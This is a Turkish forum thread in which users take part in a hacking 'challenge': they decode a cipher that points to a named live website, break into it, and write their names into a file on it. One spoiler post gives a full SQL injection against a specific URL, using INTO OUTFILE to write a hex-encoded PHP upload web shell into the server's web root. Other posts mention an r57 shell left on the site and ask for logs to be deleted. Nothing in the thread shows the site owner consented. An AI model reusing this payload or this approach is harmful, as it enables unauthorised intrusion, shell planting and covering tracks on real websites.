tahribat.com a üye olurken, hep bu tarz konular ile karşılaşacağımı düşünmüştüm. Devamlı bir şeyler de ğreneceğimi umuyordum ama bilmiyorum, ya ben siteyi tam kullanamıyorum, yada başka bir sorun var. Mesela konuda yapılanlar benim çok ilgimi çekti, tamamen alakasız bir mühendislik okumama rağmen yazılım konusunu da seviyorum, kendimce bir şeyler ğreniyorum. Konudaki olayı yapmak için ne ğrenmem gerekiyor? Yada sitenin hangi kısmını takip etmem gerekiyor? Yani ana sayfaya çıkan konuları hep okuyorum ama bu tarz olayları nasıl yapacağıma dair bir şey ğrenemedim. Konuların yarısı dh konudışında da olan şeyler, birisi bir fikir verir yol gsterirse sevinirim. zigor tarafından 03/Tem/15 11:13 tarihinde düzenlenmiştir

İşlem tamamdır. Anti Envato

güzel birşey aslında şeyh güzel bişi yazsa herkes cevabı yazsa en son zaman verilse açıklansa.

Grev tamam

Ne kriptoymuş mantık algoritma arıyorum ben de ayıp bişi :p ilk hack denememi yapıcam iyibu! yeniden..

tamamdır hallettimvaybe 2008 den beri hackle ilgilenmiyordum krelmemeişim meğer Emekçiler ekmeklerini, emeklerinin karşılığı olarak ve nlenemez tarihi sürecin sonucu olarak mutlaka kazanacaklardır. Şüphesiz bu, zorlu bir dnemdir kısa vadeli ve greceli yenilgilerden geçer.

iki konudaki kriptoyu da çzdüm sql injection yapmaya çalışıyorum hala :S

tbt.html nerde :D Edit: neyse oluşturdum :D yaz benide listeye @Allura NoktaliVirgul tarafından 04/Tem/15 09:25 tarihinde düzenlenmiştir If my calculations are correct, when this baby hits eighty-eight miles per hour... you"re gonna see some serious shit.

Bitsede birisi anlatsa nasıl çzüldüğünü :)

tek tek yazmaya üşendim. resim yerine yazı olarak versene Bazıları zgürlüğü sadece kendileri gibi düşünenlere reva grüyor...

Serdar abi açıklama için teşekkürler, çok eğlenceli bir şeymiş.

Sqlmap. py rulz Anti Envato

Allura bunu yazdı olayımız bu kadar kriptolu resmi koyuyorum başlayabilirsiniz :) Bu kripto nasıl çzülüyor... Birisi anlatsın bi... bende çok merak ettimçok çok http www ve com olan yerlerin harfleri çikiyor. oradanda belki, çikan harfler birbirine gre oranlanabiliyor yada kayabiliyordur. tabi ingilizce alfabe sırasına gre :D:d tabi bende bulamadim. düz... tireli olan kısımda -allura oluyor galiba :d RitmFarbRacourci tarafından 03/Tem/15 16:54 tarihinde düzenlenmiştir I'şıkY'ılı;^^`) Zk't^^` RnSySyTk. dl. SpRtÇzBşBkYd Kryptia. agogE Sa'd-l'Suud az. ç'k 'lmyn'Dşn Pnct'tnAnNttn Blgi, YpBlgi 'Ct'nDrm. CmdyDrm. MdrnDrm hRşYdşR ClptcPth'Strsm M'nPhs' Ld, X/Y YrYnZmnGrçklk, AlgBzklğ KrzFrst'tr Tiytr' Pugchv, Jtrn, İmmlmn, FllngLef, Pik' SuprmcySprrty CoBehTh elFnmno:NzrioRonldo AdnKy TkSs, TkHrf . RtNsTk. KvMp. Mk. TrmDyn ScklkNmRzgr ŞkHcBy ccp. kky Snrlr'Çz SnaSnLzmsn 'NsnKsknçtr BgDppr. MagllnCl'ds. S'thCro's Ch'kW'ng CreazioneDiAdamo^^`, Arctrs. Spic' ArcScnd, YySnye TrbProp, TrbJet, TrbFan 3.10^5km/sn 343m/sn 900-1240m/snMacH RamJt, ScRamJt Przdi^^' Tbu. XL Prsek MAtv^^` mLAT G'dWllHnting . 3id't^^` TareZmenPr ParaMotor TrflrVArsİlşklr +. , ZminŞkil. .. Bu imza @SubZero tarafindan degistirilmistir. "Bu kadar uzun karmakarisik bir imza yapma diye uyardim ama heeheeeey _hey kim sylüyor, kim dinliyor." Imzanizi SubZero'ya bilgi vermeden degistirmeyiniz. Tesekkurler...

hack atanlar bi video çekse veya anlatsa birazcık iyi olur :D netten araştırarak denedim baya ama beceremedim. black implies white, self implies other, life implies death.

Sqlmap. py rulz Aynı yoldayım galiba :D hala uğraşıyom sikim ya :D iyibu! yeniden..

vol 2'nin konusunu açtım bundan biraz daha zorlu olabilir bunuda bitirenler olursa m atarsa ekliyorum listeye "

Çzebilenler. 1-GusFring 2-SeRDaR 3-sancaks 4-pesimistzombie 5-Andrei 6-kaparike Allura tarafından 03/Tem/15 00:38 tarihinde düzenlenmiştir "

Biriside aşama aşama video çekebilir mi? imza

spoiler oldu Allura tarafından 03/Tem/15 00:09 tarihinde düzenlenmiştir "

Hocalar bu işler nasıl oluyor, o kriptodan web sitesini nasıl buluyorsunuz pm den anlatabilecek olan varmı yada buraya bi yerlere yazsa yeni başlayaıp ğrenmek isteyemlerr vardır benim gibi :)

Site tamam açık tamam herşey tamam da shell sıkıntı bi sokamadım :) Anti Envato

olayımız bu kadar kriptolu resmi koyuyorum başlayabilirsiniz :) Bu kripto nasıl çzülüyor... Birisi anlatsın bi... Ondan çocuk olmamıştır . Kendisi de doğmamıştır . İhlas Suresi 3 üncü ayette bunlar yazar.

10 dakika surdu lan :) listeye benide ekleyin :P az insan çok huzur.

mini ctf tadında olmus güzel olmus, yolladım. bir sonraki biraz daha zor olsun :v %40 indirimli olarak "Centos Sistem ve Sunucu Ynetimi" adlı kitabımızı satın alarak, Linux üzerine yapılacak olan devam projeleri icin destekte bulunabilirsiniz : http://www.hepsiburada.com/centos-sistem-ve-sunucu-yonetimi-oku-izle-dinle-ogren-p-KKODLAB01579

SPOİLER ÇZÜM SPOİLER ÇZÜM Çzümünü veriyorum, serdar kriptunun nasıl çzüldügünü anlattıgı için orasını geçiyorum bkz: kriptu çzümü= http://www.tahribat.com/forum/meydan-okuma hack-website-test-208426/5#msg2594172 gelelim shell yüklemeye sitenin ismi http://branthwaitecottages.co. uk içerisinde 4-5 adet php dosyası mevcut bunlardan bir tanesinde sql açıgı bulunmakta sql injection kullanılarak ve database user yetkilerinin fazla olması sebebi ile grant all priv.. yazma yetkimiz bulunuyor burada mysql yetkilendirmesi hatası var bu açıgı kullanarak sql injectionyaparken sunucuya istedigimiz şeyi yazabiliyoruz http://branthwaitecottages.co. uk:80/Gallery. php?pagenum=1&menu=off&imagefilter=1 LIMIT 0,1 INTO OUTFILE 'C:/wamp/www/branthwaite/tbtyukle. php' LINES TERMINATED BY 0x92020202020203c3f706870206563686f202755706c6f616465723c62723e273b6563686f20273c62723e273b6563686f20273c666f726d20616374696f6e3d2222206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d6461746122206e616d653d2275706c6f61646572222069643d2275706c6f61646572223e273b6563686f20273c696e70757420747970653d2266696c6522206e616d653d2266696c65222073697a653d223530223e3c696e707574206e616d653d225f75706c2220747970653d227375626d6974222069643d225f75706c222076616c75653d2255706c6f6164223e3c2f666f726d3e273b69662820245f504f53545b275f75706c275d203d3d202255706c6f6164222029207b69662840636f707928245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c20245f46494c45535b2766696c65275d5b276e616d65275d2929207b206563686f20273c623e55706c6f6164202121213c2f623e3c62723e3c62723e273b207d656c7365207b206563686f20273c623e55706c6f6164202121213c2f623e3c62723e3c62723e273b207d7d3f3e3c3f706870206563686f202755706c6f616465723c62723e273b6563686f20273c62723e273b6563686f20273c666f726d20616374696f6e3d2222206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d6461746122206e616d653d2275706c6f61646572222069643d2275706c6f61646572223e273b6563686f20273c696e70757420747970653d2266696c6522206e616d653d2266696c65222073697a653d223530223e3c696e707574206e616d653d225f75706c2220747970653d227375626d6974222069643d225f75706c222076616c75653d2255706c6f6164223e3c2f666f726d3e273b69662820245f504f53545b275f75706c275d203d3d202255706c6f6164222029207b69662840636f707928245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c20245f46494c45535b2766696c65275d5b276e616d65275d2929207b206563686f20273c623e55706c6f6164202121213c2f623e3c62723e3c62723e273b207d656c7365207b206563686f20273c623e55706c6f6164202121213c2f623e3c62723e3c62723e273b207d7d3f3e-- # kodu kullanarak dizine tbtyukle. php dosyasını yüklemiş oluyoruz dizini nasıl buldugumuza gelirsek kod hatası sebebi ile bize yolu veriyor site http://branthwaitecottages.co. uk:80/Gallery. php?pagenum=1&menu=off&imagefilter=1' bu şekilde girerseniz yol grünüyor. shell yükledikten sonra birşey kalmıyor zaten geçmiş olsun editle geç SPOİLER ÇZÜM SPOİLER ÇZÜM "

kriptoyu çzdüm gerisini yapamam :)

sıkıntı olmaz di mi güvenerek şey ettim başımız ağrımasın. yarışma bitince logları siliver nolur nolmaz. :D pesimistzombie tarafından 02/Tem/15 23:34 tarihinde düzenlenmiştir :|

Selam beyler4-5 ay nce bir yerde grmüştüm aklıma geldi burada yapalım diyorum siftahi başlatıyorum. olayımız kriptoyu kırıp siteyi hackleyip tbt.html klasorune ismini yazmamız üzerine kurulu bir oyun, kısaca hacking'ten anlayanların oynayacagı bir meydan okuma diyebiliriz. 1. Kriptoyu çzün. 2. Sitede açık bulun. 3. Shell gnderin.4. tbt.html dosyasına isminizi yazıp bana m atın. olayımız bu kadar kriptolu resmi koyuyorum başlayabilirsiniz :) not: hackleyen arkadaşlar siteyi bozmalarsa oyun devam etsin. not2: lütfen çzenler veya gelişme kat edenler spoiler vermesin. Çzenler 1-GusFring 2-SeRDaR 3-sancaks 4-pesimistzombie 5-Andrei 6-kaparike 7-Realist 8-by_Tet 9-abdullahazad 10- NoktaliVirgul Allura tarafından 04/Tem/15 12:58 tarihinde düzenlenmiştir "

Hocalar bu işler nasıl oluyor, o kriptodan web sitesini nasıl buluyorsunuz pm den anlatabilecek olan varmı yada buraya bi yerlere yazsa yeni başlayaıp ğrenmek isteyemlerr vardır benim gibi :) 2-3 gün geçti Kripto kısmını basitçe anlatayım sizlere:// şu işaret olduğuna gre demekki web sitesi web sitesi ne ile başlar Http:// ile değilmi bu adam ne yapmış myyi://KKK"m" yi "h" düşün "y" yi "t" "i" ye de p oluyor "kkk" NE OLUYOR " www" buradan yola çıkarak hangi harfe hangi harf denk geliyorsa karşılaştırıp bulmaca misali harfleri yerine oturtacaksınen alta "-sxxets" yazmış bu adamın nicki çoğu şeyde imza niteliğinde en alta koyulmaz mı koyulur bu adamın Nicki ne "Allura" sayın harf sayısını "sxxets" ile aynı değilmiyine aynı mantık "s" grdüğün yer neymiş "A" imiş "x "grdüğün yer "l" "e" grdüğün yer "u" imişSitenin kısaltması TBT olduğundan yazının veya linkin içinde mutlaka TBT geçebilir diye düşüneceksin bak linkin sonunda ypy var bu garanti TBT dir bu ne demek oluyor p grdüğün yer aslında b imiş. ovz diyor bu ne oluyor domain uzantısı nedir genelde ya.com dur ya da. net en alttaki linke Baktığımızda bu adam tahribat.com u kesin yazmıştır diye tahmin ettiğimizde htttp://www.tahribat.com ile harf sayısı bakın birebir tutuyor zaten şimdi gelelim linkin sonuna "ypy" nin "tbt" olduğunu biliyoruz "xa" yi da daha nce çzmüştü "le"olduğunu oldu mu "letbt" ne le tbt olacak olsa olsa mantık yürüttüğünde HACK konusu hackletbt olur değilmi bakalım zaten msof hack kelimesiyle eşit zaten http://www.tcgnurl.com/hackletbt byle bir şey çıktı karşımızı ulan bu "cgn" nedir diye düşüneceğiz az mantığınızı çalıştıracaksınız sitenin url ile bittiğine gre bu kesin bir link kısaltma servisidir diye düşündüm ben açıkçası ama olmayabilirdide ve denedim miniurl ve tiny url aklıma geldi sonradan düşündüm miniurl / dan sonra geleni kendi belirliyordu ama tiny url yle değil sonuna kendin belirliyorsunhttp://www.tinyurl.com/hackletbt yazdımbir baktım tuttu ve gitti siteye http://branthwaitecottages.co. uk/yani siteye ulaşmış bulundumNot: Arkadaşlar amatrce anlatmış olabilirim umarım anlamışsınızdır birazcık açıkçası bu konulara internette aşina olmanı gerek sıfırdan bir adamın tahmin etme olayı kısıtlı olur ve kriptoyu çzme mantığı olmayabilirrneğin link kısaltma servislerinden haberi olmayan bir adam sittin sene bulamazdı gibi ben bu şekilde ulaştım diğer arkadaşlar başka başka şekilde ulaşmış olabilirler hayal gücünüze bağlı birazda krpitoyu çzme kısmını ben anlattım diğer kısımlarıda diğer arkaşlar anlatırsa sevinirim... kolay gelsin SeRDaR tarafından 04/Tem/15 14:18 tarihinde düzenlenmiştir Emekçiler ekmeklerini, emeklerinin karşılığı olarak ve nlenemez tarihi sürecin sonucu olarak mutlaka kazanacaklardır. Şüphesiz bu, zorlu bir dnemdir kısa vadeli ve greceli yenilgilerden geçer.

aynen.. bitti.. pm atıom

tbt.html nereye gitti ya? Edit: Ulan tam login şifresini falan buldum siteyi uçurmuşlar! cache tarafından 03/Tem/15 14:42 tarihinde düzenlenmiştir En iyisi olmadan nce, her zaman en ktüsü olmaz mı?

En sonunda kısaca nasıl yapıldığını da anlatmalısın allura yapamayanlar olarak zeniyoruz :) Dünyayı iyiler kurtaracak.

Konuyu açana çok dua edicem epey geliştirdi beni ilk hackimi attım :) iyibu! yeniden..

Abi keşke konuyu açtıktan 2-3 gün sonra da çzüm yolunu kısaca anlatsan, biz de bir şeyler ğrensek.

Shell atamıyom :( iyibu! yeniden..

Allura bunu yazdı olayımız bu kadar kriptolu resmi koyuyorum başlayabilirsiniz :) Bu kripto nasıl çzülüyor... Birisi anlatsın bi... Nassııı. o zaman fark edememişşim.. Ee Çantalarda kullanılan dnel şifrelerden ima ediyorsun ama. I'şıkY'ılı;^^`) Zk't^^` RnSySyTk. dl. SpRtÇzBşBkYd Kryptia. agogE Sa'd-l'Suud az. ç'k 'lmyn'Dşn Pnct'tnAnNttn Blgi, YpBlgi 'Ct'nDrm. CmdyDrm. MdrnDrm hRşYdşR ClptcPth'Strsm M'nPhs' Ld, X/Y YrYnZmnGrçklk, AlgBzklğ KrzFrst'tr Tiytr' Pugchv, Jtrn, İmmlmn, FllngLef, Pik' SuprmcySprrty CoBehTh elFnmno:NzrioRonldo AdnKy TkSs, TkHrf . RtNsTk. KvMp. Mk. TrmDyn ScklkNmRzgr ŞkHcBy ccp. kky Snrlr'Çz SnaSnLzmsn 'NsnKsknçtr BgDppr. MagllnCl'ds. S'thCro's Ch'kW'ng CreazioneDiAdamo^^`, Arctrs. Spic' ArcScnd, YySnye TrbProp, TrbJet, TrbFan 3.10^5km/sn 343m/sn 900-1240m/snMacH RamJt, ScRamJt Przdi^^' Tbu. XL Prsek MAtv^^` mLAT G'dWllHnting . 3id't^^` TareZmenPr ParaMotor TrflrVArsİlşklr +. , ZminŞkil. .. Bu imza @SubZero tarafindan degistirilmistir. "Bu kadar uzun karmakarisik bir imza yapma diye uyardim ama heeheeeey _hey kim sylüyor, kim dinliyor." Imzanizi SubZero'ya bilgi vermeden degistirmeyiniz. Tesekkurler...

Şifreyi çzdüm siteyi buldum ama gel de açık bul şimdi :) Yüzsüzdür insanoğlu kimse bilmez fendini, kime iyilik yaptıysan ondan koru kendini.

Site ismi olarak verilen algoritma zor olmasa gerek onu hallederim... Sonrasında ne yapılacağını birisi sevabına izah etsin :) Hatta bu olay dküman bile olabilir :P Uygulama şeklinde... Bu dahil; tüm genellemeler yanlıştır! Yolcu; Kendi Yolunda... Şükür biz Allahtan başka sahibi olmayanlarız!

Hack yapmayı beceremem ama siteye başka birinin attığı shell'i buldum onu kullanıp tbt.html'ye adımı yazabilirim ama kabul edilmez herhalde bu değil mi :) Yüzsüzdür insanoğlu kimse bilmez fendini, kime iyilik yaptıysan ondan koru kendini.

siteyi bulmak 5 dk açıkları bulmak 10 dk içeri girmek pahabiçilemez sürekli timed out yiyorum ya siteye normal bile erişemiyorum :D Android Mobil Uygulama - Web Sitesi - Masaüstü Yazılım yapılır. Vitaminsiz Palyaço

Site tamam, birazdan işlem tamamdır :) cache tarafından 03/Tem/15 00:56 tarihinde düzenlenmiştir En iyisi olmadan nce, her zaman en ktüsü olmaz mı?

site tamam :D images klasrünün altındaki r57. php tamam :D bi sql inj. ğrenemedim gitti :D neyse devam ederik :D Ne zaman birşey ğrenmek istesem, Birden Vaktim Kalmıyor?

Gzüel düşünce olmuş zaman bulursam bi ara bakacam. Konu çzüldükten sonra millete anlatımınıda biri yapsın bari yeni yeni merak salanlara kaynak olur canısı| Keser gibi olma; hep bana, hep bana. Testere gibi ol Bir sana bir bana...

hack olayından anlamadıgım ıcın olay bittikten sonra videolu anlatım olsa iyi olurdu bir fikir sahibi olurduk zamanda yolcuyduk uyuya kalmışız uyandıran yok

bitti de gitti :)

Allura bunu yazdı olayımız bu kadar kriptolu resmi koyuyorum başlayabilirsiniz :) Bu kripto nasıl çzülüyor... Birisi anlatsın bi... Spoiler gibi oldu, bu sebepten sildim ipucunu. Bu adım kolay, siteyi bulduktan sonra yapılması gereken nedir asıl orası problem. Heyecanla bekliyorum, çok hoş. BiUyeOlamadim tarafından 03/Tem/15 11:39 tarihinde düzenlenmiştir The tip of the tongue taking a trip of three steps down the palate to tap, at three, on the teeth. Lo. Lee. Ta.

site tamamda işin zor kısmı başlıyor

tamam biraz geç grdük ama olsun Realist tarafından 03/Tem/15 00:48 tarihinde düzenlenmiştir..

Şeyh şimdi alır ifadesini. Yaşlandıkça 50 liralık saatin ve 5.000 liralık saatin aynı şeyi gsterdiğini fark edeceksin. 1.000.000 liralık ve 100.000 liralık ev aynı yalnızlığı barındırır. 1.000 liralık Android ile 20.000 liralık iPhone Pro kimse aramadıktan sonra aynıdır. Materyalist şeylerde gerçek mutluluk bulunmaz. Asıl mutluluk bir çift memededir. Enflasyon yüzünden bu imzayı bir ara güncellemek lazım. Bin liraya telefon kalmadı amk.